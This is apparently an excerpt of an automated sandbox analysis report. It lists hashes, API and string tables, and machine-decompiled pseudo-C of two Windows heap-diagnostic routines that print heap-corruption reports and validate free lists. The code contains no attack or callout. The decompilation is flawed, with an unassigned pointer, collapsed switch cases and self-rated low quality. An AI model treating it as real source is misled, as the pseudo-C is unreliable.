Instruction Fuzzy Hash: 3081DE35902200BFEB118F05DD84EBB3B36BF4735AF624948F4146BB22E3718556DAB2

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC1C06, Relevance: 80.7, APIs: 21, Strings: 25, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E6CEC1C06() {
				signed int _t27;
				char* _t104;
				char* _t105;
				intOrPtr _t113;
				intOrPtr _t115;
				intOrPtr _t117;
				intOrPtr _t119;
				intOrPtr _t120;

				_t105 = 0x6cde48a4;
				_t104 = "HEAP: ";
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6CE0B150();
				} else {
					E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push( *0x6cef589c);
				E6CE0B150("Heap error detected at %p (heap handle %p)\n",  *0x6cef58a0);
				_t27 =  *0x6cef5898; // 0x0
				if(_t27 <= 0xf) {
					switch( *((intOrPtr*)(_t27 * 4 +  &M6CEC1E96))) {
						case 0:
							_t105 = "heap_failure_internal";
							goto L21;
						case 1:
							goto L21;
						case 2:
							goto L21;
						case 3:
							goto L21;
						case 4:
							goto L21;
						case 5:
							goto L21;
						case 6:
							goto L21;
						case 7:
							goto L21;
						case 8:
							goto L21;
						case 9:
							goto L21;
						case 0xa:
							goto L21;
						case 0xb:
							goto L21;
						case 0xc:
							goto L21;
						case 0xd:
							goto L21;
						case 0xe:
							goto L21;
						case 0xf:
							goto L21;
					}
				}
				L21:
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6CE0B150();
				} else {
					E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				_push(_t105);
				E6CE0B150("Error code: %d - %s\n",  *0x6cef5898);
				_t113 =  *0x6cef58a4; // 0x0
				if(_t113 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6CE0B150("Parameter1: %p\n",  *0x6cef58a4);
				}
				_t115 =  *0x6cef58a8; // 0x0
				if(_t115 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6CE0B150("Parameter2: %p\n",  *0x6cef58a8);
				}
				_t117 =  *0x6cef58ac; // 0x0
				if(_t117 != 0) {
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					E6CE0B150("Parameter3: %p\n",  *0x6cef58ac);
				}
				_t119 =  *0x6cef58b0; // 0x0
				if(_t119 != 0) {
					L41:
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push(_t104);
						E6CE0B150();
					} else {
						E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push( *0x6cef58b4);
					E6CE0B150("Last known valid blocks: before - %p, after - %p\n",  *0x6cef58b0);
				} else {
					_t120 =  *0x6cef58b4; // 0x0
					if(_t120 != 0) {
						goto L41;
					}
				}
				if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
					_push(_t104);
					E6CE0B150();
				} else {
					E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
				}
				return E6CE0B150("Stack trace available at %p\n", 0x6cef58c0);
			}

0x6cec1c10
0x6cec1c16
0x6cec1c1e
0x6cec1c3d
0x6cec1c3e
0x6cec1c20
0x6cec1c35
0x6cec1c3a
0x6cec1c44
0x6cec1c55
0x6cec1c5a
0x6cec1c65
0x6cec1c67
0x00000000
0x6cec1c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6cec1c67
0x6cec1cdc
0x6cec1ce5
0x6cec1d04
0x6cec1d05
0x6cec1ce7
0x6cec1cfc
0x6cec1d01
0x6cec1d0b
0x6cec1d17
0x6cec1d1f
0x6cec1d25
0x6cec1d30
0x6cec1d4f
0x6cec1d50
0x6cec1d32
0x6cec1d47
0x6cec1d4c
0x6cec1d61
0x6cec1d67
0x6cec1d68
0x6cec1d6e
0x6cec1d79
0x6cec1d98
0x6cec1d99
0x6cec1d7b
0x6cec1d90
0x6cec1d95
0x6cec1daa
0x6cec1db0
0x6cec1db1
0x6cec1db7
0x6cec1dc2
0x6cec1de1
0x6cec1de2
0x6cec1dc4
0x6cec1dd9
0x6cec1dde
0x6cec1df3
0x6cec1df9
0x6cec1dfa
0x6cec1e00
0x6cec1e0a
0x6cec1e13
0x6cec1e32
0x6cec1e33
0x6cec1e15
0x6cec1e2a
0x6cec1e2f
0x6cec1e39
0x6cec1e4a
0x6cec1e02
0x6cec1e02
0x6cec1e08
0x00000000
0x00000000
0x6cec1e08
0x6cec1e5b
0x6cec1e7a
0x6cec1e7b
0x6cec1e5d
0x6cec1e72
0x6cec1e77
0x6cec1e95

APIs

DbgPrint.1105(HEAP[%wZ]: ,?,?,00000002,6CEF58C0,6CEC20B1,?,6CEBFFAF,00000001,00000020,6CEF58C0,00000000), ref: 6CEC1C35
DbgPrint.1105(HEAP: ,?,00000002,6CEF58C0,6CEC20B1,?,6CEBFFAF,00000001,00000020,6CEF58C0,00000000), ref: 6CEC1C3E
DbgPrint.1105(Heap error detected at %p (heap handle %p),?,00000002,6CEF58C0,6CEC20B1,?,6CEBFFAF,00000001,00000020,6CEF58C0,00000000), ref: 6CEC1C55
DbgPrint.1105(HEAP[%wZ]: ,?,00000020,6CEF58C0,00000000), ref: 6CEC1CFC
DbgPrint.1105(HEAP: ,00000020,6CEF58C0,00000000), ref: 6CEC1D05
DbgPrint.1105(Error code: %d - %s,6CDE48A4,00000020,6CEF58C0,00000000), ref: 6CEC1D17
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1D47
DbgPrint.1105(HEAP: ,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1D50
DbgPrint.1105(Parameter1: %p,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1D61
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1D90
DbgPrint.1105(HEAP: ,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1D99
DbgPrint.1105(Parameter2: %p,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1DAA
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1DD9
DbgPrint.1105(HEAP: ,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1DE2
DbgPrint.1105(Parameter3: %p,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1DF3
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1E2A
DbgPrint.1105(HEAP: ,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1E33
DbgPrint.1105(Last known valid blocks: before - %p, after - %p,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1E4A
DbgPrint.1105(HEAP[%wZ]: ,?,?,?,?,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1E72
DbgPrint.1105(Stack trace available at %p,6CEF58C0,?,?,?,?,?,?,?,6CEF58C0,00000000), ref: 6CEC1E8B

Strings

heap_failure_multiple_entries_corruption, xrefs: 6CEC1C8A
Heap error detected at %p (heap handle %p), xrefs: 6CEC1C50
heap_failure_usage_after_free, xrefs: 6CEC1CBB
heap_failure_invalid_allocation_type, xrefs: 6CEC1CB4
heap_failure_unknown, xrefs: 6CEC1C75
heap_failure_generic, xrefs: 6CEC1C7C
Last known valid blocks: before - %p, after - %p, xrefs: 6CEC1E45
heap_failure_block_not_busy, xrefs: 6CEC1CA6
heap_failure_invalid_argument, xrefs: 6CEC1CAD
Parameter1: %p, xrefs: 6CEC1D5C
Parameter3: %p, xrefs: 6CEC1DEE
heap_failure_buffer_underrun, xrefs: 6CEC1C9F
Stack trace available at %p, xrefs: 6CEC1E86
Parameter2: %p, xrefs: 6CEC1DA5
Error code: %d - %s, xrefs: 6CEC1D12
heap_failure_virtual_block_corruption, xrefs: 6CEC1C91
heap_failure_cross_heap_operation, xrefs: 6CEC1CC2
heap_failure_entry_corruption, xrefs: 6CEC1C83
heap_failure_lfh_bitmap_mismatch, xrefs: 6CEC1CD7
HEAP[%wZ]: , xrefs: 6CEC1C30, 6CEC1CF7, 6CEC1D42, 6CEC1D8B, 6CEC1DD4, 6CEC1E25, 6CEC1E6D
heap_failure_buffer_overrun, xrefs: 6CEC1C98
HEAP: , xrefs: 6CEC1C16, 6CEC1C3D, 6CEC1D04, 6CEC1D4F, 6CEC1D98, 6CEC1DE1, 6CEC1E32, 6CEC1E7A
heap_failure_internal, xrefs: 6CEC1C6E
heap_failure_listentry_corruption, xrefs: 6CEC1CD0
heap_failure_freelists_corruption, xrefs: 6CEC1CC9

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 3558298466-2897834094
Opcode ID: c2f28a6e0ad58aa90fb42e5d9d8601a168d51fce57b47857fda0bf868d362a2c
Instruction ID: 80919e1357cf0221f2def482d847bd5dfe6dc8d0f3b936bb6d5049e7618f012c
Opcode Fuzzy Hash: c2f28a6e0ad58aa90fb42e5d9d8601a168d51fce57b47857fda0bf868d362a2c
Instruction Fuzzy Hash: 73610833B52188DFD7019BC8D584D5573B4FB0A729B36842EF438ABF21C624DC568A8B

Uniqueness

Uniqueness Score: -1.00%

Function 6CEC4496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6CEC4496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6CEC49A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6cef6378 = _t267;
						asm("int3");
						 *0x6cef6378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6CE3174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6CE0B150();
							} else {
								E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6CE0B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6CE0B150();
							} else {
								E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6CE0B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6cef6350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6CE49660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6CE3174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6CE0B150();
										} else {
											E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6CE0B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6CE0B150();
									} else {
										E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6CE0B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6CE0B150();
								} else {
									E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6CE0B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E6CE0B150();
							} else {
								E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6CEC4AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6CEBFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6CEB23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6cec44a1
0x6cec44a3
0x6cec44a7
0x6cec44ac
0x6cec44af
0x6cec44b2
0x6cec44b9
0x6cec44bc
0x6cec47f2
0x6cec47f2
0x6cec47f8
0x6cec47fc
0x6cec47fe
0x6cec4804
0x6cec4805
0x6cec4805
0x6cec480c
0x6cec4810
0x6cec4812
0x6cec4812
0x6cec4812
0x6cec4822
0x6cec4822
0x6cec4827
0x6cec4827
0x00000000
0x6cec4827
0x6cec44c4
0x6cec44d3
0x6cec44d9
0x6cec44dc
0x6cec44de
0x6cec44e0
0x6cec4560
0x6cec4520
0x6cec4522
0x6cec4525
0x6cec4528
0x6cec452b
0x6cec452e
0x6cec4530
0x6cec4697
0x6cec469d
0x6cec46a1
0x6cec46c0
0x6cec46c5
0x6cec46a3
0x6cec46b8
0x6cec46bd
0x6cec46cb
0x6cec46d4
0x6cec4677
0x6cec4677
0x6cec4679
0x6cec467c
0x6cec468a
0x6cec4690
0x6cec4690
0x6cec47f1
0x6cec47f1
0x6cec47f1
0x00000000
0x6cec47f1
0x6cec4536
0x6cec4539
0x6cec453c
0x6cec4636
0x6cec463c
0x6cec4640
0x6cec465f
0x6cec4664
0x6cec4642
0x6cec4657
0x6cec465c
0x6cec4670
0x00000000
0x6cec4542
0x6cec4542
0x6cec4546
0x6cec4548
0x6cec454b
0x6cec4555
0x6cec455b
0x6cec455b
0x6cec455b
0x6cec455d
0x6cec455d
0x6cec455d
0x00000000
0x6cec455d
0x6cec453c
0x6cec4579
0x6cec457c
0x6cec4587
0x6cec4589
0x6cec4591
0x6cec4592
0x6cec4597
0x6cec4598
0x6cec45a1
0x6cec45ab
0x6cec45ab
0x6cec45a1
0x6cec45ae
0x6cec45b4
0x6cec45b9
0x6cec45bd
0x6cec4759
0x6cec4759
0x6cec475f
0x6cec4761
0x6cec4763
0x6cec4765
0x6cec4768
0x6cec476b
0x6cec476d
0x6cec479c
0x6cec479c
0x6cec479f
0x6cec47a2
0x6cec47a4
0x6cec4830
0x6cec4833
0x6cec4879
0x6cec487d
0x6cec48f1
0x6cec48f3
0x6cec48f3
0x00000000
0x6cec48f3
0x6cec487f
0x6cec4885
0x6cec4887
0x6cec48a8
0x6cec48a8
0x6cec48ae
0x6cec48b0
0x6cec48dc
0x6cec48dc
0x6cec48dc
0x6cec48dc
0x6cec48ec
0x00000000
0x6cec48ec
0x6cec48b2
0x6cec48bc
0x6cec48be
0x6cec48c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6cec48c3
0x6cec48c3
0x6cec48c6
0x6cec48c9
0x6cec48cc
0x6cec48d1
0x6cec48d4
0x00000000
0x00000000
0x6cec48d6
0x6cec48d7
0x6cec48da
0x00000000
0x00000000
0x00000000
0x6cec48da
0x6cec494f
0x6cec4955
0x6cec4959
0x6cec4978
0x6cec497d
0x6cec495b
0x6cec4970
0x6cec4975
0x6cec4986
0x6cec4987
0x6cec498d
0x6cec4990
0x6cec4997
0x6cec47ef
0x6cec47ef
0x6cec47ef
0x00000000
0x6cec47ef
0x6cec4890
0x6cec4890
0x6cec4891
0x6cec4891
0x6cec4894
0x6cec4897
0x6cec489d
0x6cec48a0
0x00000000
0x00000000
0x6cec48a2
0x6cec48a3
0x6cec48a6
0x00000000
0x00000000
0x00000000
0x6cec48a6
0x6cec48fb
0x6cec4901
0x6cec4905
0x6cec4924
0x6cec4929
0x6cec4907
0x6cec491c
0x6cec4921
0x6cec492f
0x6cec4935
0x6cec4936
0x6cec4939
0x6cec4942
0x00000000
0x6cec4947
0x6cec4835
0x6cec483b
0x6cec483f
0x6cec485e
0x6cec4863
0x6cec4841
0x6cec4856
0x6cec485b
0x6cec4869
0x6cec486c
0x6cec486f
0x6cec47e7
0x6cec47e7
0x00000000
0x6cec47ec
0x6cec47aa
0x6cec47b0
0x6cec47b4
0x6cec47d3
0x6cec47d8
0x6cec47b6
0x6cec47cb
0x6cec47d0
0x6cec47de
0x6cec47df
0x6cec47e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6cec476f
0x6cec476f
0x6cec4778
0x6cec4785
0x6cec4787
0x6cec478c
0x6cec478e
0x00000000
0x00000000
0x6cec4790
0x6cec4792
0x6cec4794
0x00000000
0x00000000
0x6cec4796
0x6cec4799
0x00000000
0x6cec4799
0x00000000
0x6cec45c3
0x6cec45c3
0x6cec45c7
0x6cec45c7
0x6cec45ca
0x6cec45cf
0x6cec45d3
0x6cec45df
0x6cec45e4
0x6cec45e6
0x6cec45e8
0x6cec45ed
0x6cec45ed
0x6cec45f2
0x6cec45f2
0x6cec45f7
0x6cec45fc
0x6cec4602
0x6cec4606
0x6cec4609
0x6cec460f
0x6cec46de
0x6cec46e3
0x6cec46e5
0x6cec46ec
0x6cec46ee
0x6cec46f6
0x6cec46f6
0x6cec46f6
0x6cec46f6
0x6cec46ec
0x6cec4615
0x6cec4615
0x6cec461d
0x6cec462e
0x6cec462e
0x6cec461d
0x6cec460f
0x6cec4609
0x6cec46fd
0x00000000
0x00000000
0x6cec4710
0x6cec471a
0x6cec4720
0x6cec4720
0x6cec4722
0x6cec472c
0x00000000
0x6cec472e
0x6cec472e
0x00000000
0x6cec472e
0x6cec472c
0x6cec4738
0x6cec473c
0x6cec474b
0x6cec4751
0x6cec4751
0x00000000
0x6cec473c
0x6cec48f4
0x6cec48f4
0x00000000
0x6cec48f4

APIs

Part of subcall function 6CEC49A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6CEC44B7,?), ref: 6CEC49DF
Part of subcall function 6CEC49A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6CEC44B7,?), ref: 6CEC49FE
Part of subcall function 6CEC49A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6CEC4A42
Part of subcall function 6CEC49A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6CEC4A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6CEC459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC4657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C,6CE5F07A), ref: 6CEC4664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC4670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C), ref: 6CEC46B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20,0000001C,6CE5F07A), ref: 6CEC46C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6CEE0F20), ref: 6CEC46D4
